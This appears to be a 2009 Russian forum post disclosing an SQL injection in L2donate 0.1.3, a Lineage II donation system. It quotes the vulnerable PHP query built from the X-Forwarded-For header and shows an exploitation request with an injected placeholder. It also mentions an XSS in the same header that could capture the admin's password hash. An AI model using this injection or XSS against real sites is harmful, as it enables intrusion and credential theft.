SQL injection в L2donate

Discussion in 'Веб-уязвимости' started by (Dm), 8 Jun 2009.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    L2donate система платных услуг LineageII
    Офф сайт: http://l2donate.ru/
    Версия: 0.1.3

    уязвимость в модулях: client/modules/*/index.php

    Например: client/modules/system/index.php
    PHP:
        $fromip $_SERVER['REMOTE_ADDR'];
            if(isset(
    $_SERVER['HTTP_X_FORWARDED_FOR'])) {
                
    $fromip .= $_SERVER['HTTP_X_FORWARDED_FOR'];
            }
            if(isset(
    $_SERVER['REMOTE_HOST'])) {
                
    $fromip .= '--'.$_SERVER['REMOTE_HOST'];
            }
            
            
    $fields "ip='".$fromip."', login='".$login."' ,redirecturl='', transid=''
            , status='0', sellingamount='"
    .$sellingCurrencyAmount."'
            , accountingamount='0', gateway='"
    .trim($request['fill'])."'
            , amount='0', result='', trans_date='"
    .date('Y-m-j H:i:s')."'";
            
    $result $db['prim']->query("INSERT INTO ".DB_PREFIX."transactions SET ".$fields);
    Пример эксплуатации:

    POST /client/?module=systems HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru,en-us;q=0.7,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://localhost/client/?module=systems
    Cookie: logged_usr=1; login_usr=test; pass_usr=qUqP5cyxm6YcTAhz05Hph5gvu9M%3D; auth_usr_hash=68f522804fda3638ef8a710bfa790513; PHPSESSID=e37cf42680902ad6c4edfb5e51dc2c85
    X_FORWARDED_FOR: ',{SQL}
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 68
    login=test&fill=systems&action=paymentpage&sellingcurrencyamount=111

    Пароль администратора хранится в файле, поэтому через скулю до него не добраться...

    Есть возможность проведения xss в поле X_FORWARDED_FOR, с помощью чего можно получить md5 хеш админа.
     
    1 person likes this.